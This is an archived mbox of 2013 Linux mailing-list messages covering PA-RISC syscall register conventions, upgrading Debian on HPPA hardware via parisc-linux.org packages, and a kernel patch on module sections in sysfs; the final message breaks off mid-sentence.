>> Actually, that's not quite correct.  on 64 bits it's arg1-8 are %r26-%
>> r19 but on 32 the convention is that arg1-arg4 are %r26-%r23 and the
>> rest on stack.  We can also do register pair combining on 32 bits for a
>> 64 bit argument.
>
> I guess the confusion is whether you're writing this from the kernel
> side or the userspace side. The syscall instruction is called with six
> arg registers, but we fix it on entry to the kernel when we call into C.> --
> To unsubscribe from this list: send the line "unsubscribe linux-man" in
> the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

Thanks, Kyle.
--
To unsubscribe from this list: send the line "unsubscribe linux-man" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Did Squeeze ever make it to HPPA?
Date: Mon, 08 Apr 2013 10:31:46 -0400
Lines: 86
Approved: news@gmane.org
Message-ID: <5162D4D2.9010903@bell.net>
References: <514C43F3.4040206@gmail.com> <514E2703.9000507@gmx.de> <BLU0-SMTP73FA3D9E15C0195C11D97097D50@phx.gbl> <5162AFE8.2070808@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365437353 7851 80.91.229.3 (8 Apr 2013 16:09:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Apr 2013 16:09:13 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, 
 linux-parisc <linux-parisc@vger.kernel.org>
To: Kurt Fitzner <kurt.fitzner@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Apr 08 18:09:13 2013
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1UPEck-0004oy-6y
	for debian-hppa@m.gmane.org; Mon, 08 Apr 2013 18:08:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 6990669; Mon,  8 Apr 2013 14:51:09 +0000 (UTC)
Old-Return-Path: <dave.anglin@bell.net>
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on bendel.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=0.1 required=4.0 tests=FOURLA autolearn=no
	version=3.3.2
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 7E377318
	for <lists-debian-hppa@bendel.debian.org>; Mon,  8 Apr 2013 14:32:28 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-1.9 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1] autolearn=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id KXVkuW0UavOS for <lists-debian-hppa@bendel.debian.org>;
	Mon,  8 Apr 2013 14:32:17 +0000 (UTC)
Original-Received: from mail-07.primus.ca (mail17.primus.ca [216.254.141.184])
	by bendel.debian.org (Postfix) with ESMTP id AA4085D
	for <debian-hppa@lists.debian.org>; Mon,  8 Apr 2013 14:32:17 +0000 (UTC)
Original-Received: from adsl-174-138-223-248.ext.distributel.net ([174.138.223.248] helo=[192.168.0.181])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UPD7G-0000v5-1u; Mon, 08 Apr 2013 10:32:14 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130307 Thunderbird/17.0.4
In-Reply-To: <5162AFE8.2070808@gmail.com>
X-Authenticated: danglin-lux@magma.ca - adsl-174-138-223-248.ext.distributel.net ([192.168.0.181]) [174.138.223.248]
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <ouaRWMX27yL.A.TtG.dltYRB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/7807
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <http://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  8 Apr 2013 14:51:09 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:6819 gmane.linux.ports.parisc:4897
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/6819>

On 4/8/2013 7:54 AM, Kurt Fitzner wrote:
> On 23/03/2013 7:53 PM, John David Anglin wrote:
>> I would really recommend going with the packages at
>> ftp://ftp.parisc-linux.org/debian-ports/unstable
>> instead of the squeeze packages on debian-ports.org.  The dependencies
>> are somewhat broken for
>> the stuff on debian-ports.org and great care is needed in installing
>> these packages.  For example,
>> the udev package on debian-ports is a bootstrap breaker.  It might be
>> that we could fill in the squeeze
>> port but it would be a fair bit of work.
> I've spent some time over the last couple weeks trying to work out an
> upgrade path to the the unstable packages on parisc-linux.org, but am
> having a very hard time.  Trying to go from Debian 5 directly to a
> mostly (but not totally) complete post-6 Wheezy without having through
> intermediary steps seems to be beyond aptitude (or me) to resolve.  I
> can handle missing packages, but the number of broken packages aptitude
> says there will be at the end of an upgrade is daunting.  And I've only
> got one HPPA box which leaves me a little on the chicken side with
> respects to playing.
>
> I must admit to being less than an expert on Debian's packaging system,
> mostly because it has always "just worked", but I am wondering if my
> problems are stemming from the current unstable packages being set as
> superceding packages that no longer exist in between what I have and them.
>
> What I think I really need is a snapshot of what was unstable the day
> Lenny was officially dropped.  Does this exist anywhere?
I don't think that exists.  What exists is the snapshot when the 
unstable hppa packages were
copied from debian.org to debian-ports.org.  Unfortunately, at that 
time, there were various
missing packages.  So, updating would result in many important packages 
being deleted.
Further, many packages have common portions that are architecture 
independent.  However,
they often are still version dependent.  So, as things evolved, the 
common parts needed
for the hppa stuff has disappeared.

Thus, the only option is to use the packages on 
ftp://ftp.parisc-linux.org/debian-ports/unstable
together with what's on debian-ports.org.  In what I upload, I include 
the common parts from
debian-ports.org.  So, hopefully, things will not get as inconsistent.

Last week I uploaded many new packages, so the archive is much closer to 
the unstable for
other ports (particularly, for packages starting with [a-l]).  I install 
all packages that I use before
uploading so I know that at least on my system there are no broken 
packages (it started as
a server system).  However, there's likely still a bunch of stuff that 
needs updating for desktop
systems.

I haven't tried to do an upgrade directly using 
ftp://ftp.parisc-linux.org/debian-ports/unstable.  Helge
Deller has done it.  So, maybe he can comment.  In general, I would do 
the update as follows:

1) Build and install 3.9-rc5 or later from kernel.org.
2) Update packages from eglibc source.
3) Update packages from binutils source.
4) Install packages from GCC 4.6 and 4.7.
5) Update packages from perl source.
6) Update packages from python2.7 source.

This puts you in the position of being able to build missing packages if 
necessary.

 From there, update selectively.  If any update wants to remove packages 
that are largely
unrelated to the update, stop and try to find out why.  Possibly, the 
packages to be removed
need updating first.

Would you be willing to post what's missing and broken?  I can try and 
fill in what's missing.

Dave

-- 
John David Anglin    dave.anglin@bell.net



From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kurt.fitzner@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Did Squeeze ever make it to HPPA?
Date: Mon, 08 Apr 2013 08:54:16 -0300
Lines: 38
Approved: news@gmane.org
Message-ID: <5162AFE8.2070808@gmail.com>
References: <514C43F3.4040206@gmail.com> <514E2703.9000507@gmx.de> <BLU0-SMTP73FA3D9E15C0195C11D97097D50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365438594 31753 80.91.229.3 (8 Apr 2013 16:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Apr 2013 16:29:54 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 08 18:29:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UPEwL-0003oz-LG
	for glpp-linux-parisc@plane.gmane.org; Mon, 08 Apr 2013 18:29:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935312Ab3DHLyX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Apr 2013 07:54:23 -0400
Original-Received: from mail-ie0-f177.google.com ([209.85.223.177]:36895 "EHLO
	mail-ie0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935311Ab3DHLyW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Apr 2013 07:54:22 -0400
Original-Received: by mail-ie0-f177.google.com with SMTP id tp5so6816999ieb.36
        for <linux-parisc@vger.kernel.org>; Mon, 08 Apr 2013 04:54:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:message-id:date:from:user-agent:mime-version:to:cc
         :subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=LJG7Bna3kCG4dfgEVjx/+/YYHOyy/9+5EuvtRc0dlyQ=;
        b=uvh4lsIryThCPgcTCJGJhp7mpAoFSgjQE0a5F4CxotodIpBkcwgBMB9vt7EooCRrRR
         Bbvgqo4jF2GjWzUup/Jw9MdvVE7lu4H5jYEdwDElJP3J1mf1kZkLjdu8mZiidJEuDy6A
         JiZsdAA/HwBkRT8XYxd5H015NA8NYnNF22ftGzuTc7dl6pMeCbd2Udws3qdmWGUFpY1B
         4vGSMlJplpYvuMU3MGSIGE2zCh21m2tL+umsrsPmkIZ2XIhb/U8UYJH27NESrDOUDd0M
         u5t6F4XVjPiyQ01jjxE9iPVSC6idrZCMBtPWx9isUhAmCOl6NNeg7GT3+WVROkyFHFWu
         vL8A==
X-Received: by 10.50.171.73 with SMTP id as9mr6678320igc.23.1365422060920;
        Mon, 08 Apr 2013 04:54:20 -0700 (PDT)
Original-Received: from [192.168.1.185] (out-on-209.wireless.telus.com. [207.219.69.209])
        by mx.google.com with ESMTPS id wx2sm18737979igb.4.2013.04.08.04.54.18
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Mon, 08 Apr 2013 04:54:20 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <BLU0-SMTP73FA3D9E15C0195C11D97097D50@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4898 gmane.linux.debian.ports.hppa:6820
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4898>

On 23/03/2013 7:53 PM, John David Anglin wrote:
> I would really recommend going with the packages at
> ftp://ftp.parisc-linux.org/debian-ports/unstable
> instead of the squeeze packages on debian-ports.org.  The dependencies
> are somewhat broken for
> the stuff on debian-ports.org and great care is needed in installing
> these packages.  For example,
> the udev package on debian-ports is a bootstrap breaker.  It might be
> that we could fill in the squeeze
> port but it would be a fair bit of work.

I've spent some time over the last couple weeks trying to work out an
upgrade path to the the unstable packages on parisc-linux.org, but am
having a very hard time.  Trying to go from Debian 5 directly to a
mostly (but not totally) complete post-6 Wheezy without having through
intermediary steps seems to be beyond aptitude (or me) to resolve.  I
can handle missing packages, but the number of broken packages aptitude
says there will be at the end of an upgrade is daunting.  And I've only
got one HPPA box which leaves me a little on the chicken side with
respects to playing.

I must admit to being less than an expert on Debian's packaging system,
mostly because it has always "just worked", but I am wondering if my
problems are stemming from the current unstable packages being set as
superceding packages that no longer exist in between what I have and them.

What I think I really need is a snapshot of what was unstable the day
Lenny was officially dropped.  Does this exist anywhere?

Thanks,

     Kurt.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philip Kranz <philip.kranz@googlemail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Add non-zero module sections to sysfs
Date: Mon, 8 Apr 2013 13:55:56 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20130408115556.GB3561@yoda.lan>
References: <1364994499-23708-1-git-send-email-sisewank@cip.cs.fau.de> <87mwtf3ya1.fsf@rustcorp.com.au> <515D4A7F.5070102@cip.cs.fau.de> <87vc81lj7x.fsf@rustcorp.com.au> <1365156435.1970.31.camel@dabdike> <20130406104053.GA24710@yoda.lan> <878v4tbqve.fsf@rustcorp.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1365438599 31926 80.91.229.3 (8 Apr 2013 16:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Apr 2013 16:29:59 +0000 (UTC)
Cc: Philip Kranz <philip.kranz@googlemail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sebastian Wankerl <sisewank@cip.cs.fau.de>,
	linux-kernel@vger.kernel.org,
	i4passt@lists.informatik.uni-erlangen.de,
	linux-parisc@vger.kernel.org
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 08 18:30:02 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UPEwJ-0003oz-Uy
	for glk-linux-kernel-3@plane.gmane.org; Mon, 08 Apr 2013 18:29:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935270Ab3DHLxl (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 8 Apr 2013 07:53:41 -0400
Original-Received: from mail-ea0-f174.google.com ([209.85.215.174]:38079 "EHLO
	mail-ea0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935007Ab3DHLxj (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 8 Apr 2013 07:53:39 -0400
Original-Received: by mail-ea0-f174.google.com with SMTP id m14so2214155eaj.5
        for <multiple recipients>; Mon, 08 Apr 2013 04:53:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20120113;
        h=x-received:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=ENZS8osI4PQ948VDvQfKfOYdiKEqwhhq4U28KcN1z/4=;
        b=ZP+R1yziMNxfOKIY2g2Z2R7h/PEEeHxXjBtkZYHV92y7RtoFA/i0hhwPuwv0IrzhBX
         XT0yCynRr888ZLf/exV71GeWJNY2ed28AaCuSXOAiLBgrNysfcGSeX68rO4xoGaIUaB4
         Co6VgxwpWzn3Qz4FzHsQCe+PSxmqjThi9RcoBgPtqcpV4uDKiSvkPlTzyFvFOAzWlO+H
         x5hIZFUYbEd/R8L6v1JKQmkk40uUmDGEJbfZJibAXC9klBypIPQo4QoU3RPKJBbFTL4C
         VsXFLd8WyXh70x2stDETaD/etTN+ocAUFpaX02K9kws/5zFmb5rN+azS+1Cgi5DabVc8
         93jA==
X-Received: by 10.14.216.2 with SMTP id f2mr48230940eep.44.1365422018192;
        Mon, 08 Apr 2013 04:53:38 -0700 (PDT)
Original-Received: from hydra.lan (p549489B1.dip0.t-ipconnect.de. [84.148.137.177])
        by mx.google.com with ESMTPS id d47sm31595195eem.9.2013.04.08.04.53.36
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Mon, 08 Apr 2013 04:53:37 -0700 (PDT)
Original-Received: from [192.168.1.20] (helo=yoda.lan)
	by hydra.lan with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <philip@yoda.lan>)
	id 1UPAXu-0004pE-8R; Mon, 08 Apr 2013 13:47:34 +0200
Content-Disposition: inline
In-Reply-To: <878v4tbqve.fsf@rustcorp.com.au>
User-Agent: Mutt/1.5.14 (2007-03-31)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1471493 gmane.linux.ports.parisc:4899
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1471493>

On Mon, Apr 08, 2013 at 01:44:45PM +0930, Rusty Russell wrote:
> Philip Kranz <philip.kranz@googlemail.com> writes:
> > I am not able to produce an object file with duplicate section names
> > using gcc on x86. Even with -ffunction-sections, every section gets a
> > unique name. Is this architecture-specific behaviour of gcc?
> 
> Good point.  ld -r will collapse them into the same section (since gcc
> produces them they have to have the same section attributes).
> 
> You can do it with --unique, but no arch uses that.  PARISC has a
> platform-specific toolchain hack which does that for .text sections.
> (Thanks to Alan Modra for that clue...)

So that problem is indeed platform-specific. If it is safe to assume
that kernel modules don't have duplicate section names (except on
PARISC), it would make sense to simply move the check for empty sections
to arch/parisc as you suggested.

James, what do you think about that?

Greetings,
Philip

From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Did Squeeze ever make it to HPPA?
Date: Mon, 08 Apr 2013 22:03:04 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <51632278.9010109@gmx.de>
References: <514C43F3.4040206@gmail.com> <514E2703.9000507@gmx.de> <BLU0-SMTP73FA3D9E15C0195C11D97097D50@phx.gbl> <5162AFE8.2070808@gmail.com> <5162D4D2.9010903@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365451404 4876 80.91.229.3 (8 Apr 2013 20:03:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Apr 2013 20:03:24 +0000 (UTC)
Cc: Kurt Fitzner <kurt.fitzner@gmail.com>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 08 22:03:27 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UPIHj-0002f9-5W
	for glpp-linux-parisc@plane.gmane.org; Mon, 08 Apr 2013 22:03:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935875Ab3DHUDI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Apr 2013 16:03:08 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:52128 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935872Ab3DHUDH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Apr 2013 16:03:07 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MMIE7-1UWkWi1otB-007yim for
 <linux-parisc@vger.kernel.org>; Mon, 08 Apr 2013 22:03:05 +0200
Original-Received: (qmail invoked by alias); 08 Apr 2013 20:03:05 -0000
Original-Received: from p54AD0707.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.7.7]
  by mail.gmx.net (mp031) with SMTP; 08 Apr 2013 22:03:05 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+BUMtkbGOBVPv1F2+1va+9LFUToRV9iKSzne1a47
	39+garS3mRq8d1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <5162D4D2.9010903@bell.net>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4900 gmane.linux.debian.ports.hppa:6821
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4900>

On 04/08/2013 04:31 PM, John David Anglin wrote:
> On 4/8/2013 7:54 AM, Kurt Fitzner wrote:
>> On 23/03/2013 7:53 PM, John David Anglin wrote:
>>> I would really recommend going with the packages at
>>> ftp://ftp.parisc-linux.org/debian-ports/unstable
>>> instead of the squeeze packages on debian-ports.org.  The dependencies
>>> are somewhat broken for
>>> the stuff on debian-ports.org and great care is needed in installing
>>> these packages.  For example,
>>> the udev package on debian-ports is a bootstrap breaker.  It might be
>>> that we could fill in the squeeze
>>> port but it would be a fair bit of work.
>> I've spent some time over the last couple weeks trying to work out an
>> upgrade path to the the unstable packages on parisc-linux.org, but am
>> having a very hard time.  Trying to go from Debian 5 directly to a
>> mostly (but not totally) complete post-6 Wheezy without having through
>> intermediary steps seems to be beyond aptitude (or me) to resolve.  I
>> can handle missing packages, but the number of broken packages aptitude
>> says there will be at the end of an upgrade is daunting.  And I've only
>> got one HPPA box which leaves me a little on the chicken side with
>> respects to playing.
>>
>> I must admit to being less than an expert on Debian's packaging system,
>> mostly because it has always "just worked", but I am wondering if my
>> problems are stemming from the current unstable packages being set as
>> superceding packages that no longer exist in between what I have and them.
>>
>> What I think I really need is a snapshot of what was unstable the day
>> Lenny was officially dropped.  Does this exist anywhere?
> I don't think that exists.  What exists is the snapshot when the unstable hppa packages were
> copied from debian.org to debian-ports.org.  Unfortunately, at that time, there were various
> missing packages.  So, updating would result in many important packages being deleted.
> Further, many packages have common portions that are architecture independent.  However,
> they often are still version dependent.  So, as things evolved, the common parts needed
> for the hppa stuff has disappeared.
> 
> Thus, the only option is to use the packages on ftp://ftp.parisc-linux.org/debian-ports/unstable
> together with what's on debian-ports.org.  In what I upload, I include the common parts from
> debian-ports.org.  So, hopefully, things will not get as inconsistent.
> 
> Last week I uploaded many new packages, so the archive is much closer to the unstable for
> other ports (particularly, for packages starting with [a-l]).  I install all packages that I use before
> uploading so I know that at least on my system there are no broken packages (it started as
> a server system).  However, there's likely still a bunch of stuff that needs updating for desktop
> systems.
> 
> I haven't tried to do an upgrade directly using ftp://ftp.parisc-linux.org/debian-ports/unstable.  Helge
> Deller has done it.  So, maybe he can comment.  

Nothing important on which I can comment here.
Most of my machines were running unstable before the migration to debian-ports happened.
>From there on I just updated all packages with the ones which Dave provided, and
which are now on ftp://ftp.parisc-linux.org/debian-ports/unstable.

Since I mostly don't run desktop-apps I didn't had any bigger issues.

On one of the machines I think I installed the Lenny images and then just updated the packages. 

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kurt.fitzner@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Did Squeeze ever make it to HPPA?
Date: Tue, 09 Apr 2013 10:27:19 -0300
Lines: 33
Approved: news@gmane.org
Message-ID: <51641737.4030008@gmail.com>
References: <514C43F3.4040206@gmail.com> <514E2703.9000507@gmx.de> <BLU0-SMTP73FA3D9E15C0195C11D97097D50@phx.gbl> <5162AFE8.2070808@gmail.com> <5162D4D2.9010903@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1365514050 23242 80.91.229.3 (9 Apr 2013 13:27:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Apr 2013 13:27:30 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 09 15:27:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UPYa7-0007sK-A0
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Apr 2013 15:27:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935495Ab3DIN1Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Apr 2013 09:27:25 -0400
Original-Received: from mail-ia0-f180.google.com ([209.85.210.180]:51096 "EHLO
	mail-ia0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935463Ab3DIN1X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Apr 2013 09:27:23 -0400
Original-Received: by mail-ia0-f180.google.com with SMTP id l29so929068iag.25
        for <linux-parisc@vger.kernel.org>; Tue, 09 Apr 2013 06:27:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:message-id:date:from:user-agent:mime-version:to:cc
         :subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=5AGy3LnyhuMJDKH0iLCA/yxhU7ECetD4i8/lh9DH5MQ=;
        b=yMugHWhfQHeVaY17ksEiA3Uif2abycbkFEQwZs8WZl8TkPME5u0Julp7Ui6HDRKy/d
         cBzOFpdu2Budel2vkrXab1TqsIB/s6JF3uDVDpANEOYTMEL/MBXXzS7v9Xuwc05s0Nht
         Kx/hpOYCfAri0t2zvetmS5Ol0WwEgMV+LCi2qc6yuxsAtlfpEpILxDwTI1pnbCnOQg0n
         LO/dqBO2GaiPrsJJ+SkS9AKQSU2eZOQOyneyJPDAPOg0r0iz4mgacx9ZjfFlN8ITfAHn
         wZ0OXAq9YrxZxVRpFWrSAi4bbWIgxjKr4yg9buVlbQC266l8NyBkjuGy8UG6ATev5zNm
         y6zQ==
X-Received: by 10.42.82.67 with SMTP id c3mr14667359icl.25.1365514043341;
        Tue, 09 Apr 2013 06:27:23 -0700 (PDT)
Original-Received: from [192.168.1.185] (out-on-129.wireless.telus.com. [207.219.69.129])
        by mx.google.com with ESMTPS id xd4sm25013768igb.3.2013.04.09.06.27.21
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 09 Apr 2013 06:27:22 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130328 Thunderbird/17.0.5
In-Reply-To: <5162D4D2.9010903@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4901 gmane.linux.debian.ports.hppa:6822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4901>

On 08/04/2013 11:31 AM, John David Anglin wrote:

> 1) Build and install 3.9-rc5 or later from kernel.org.

Is it safe to jump from 2.6.26 to 3.9?  I haven't followed Linux kernel
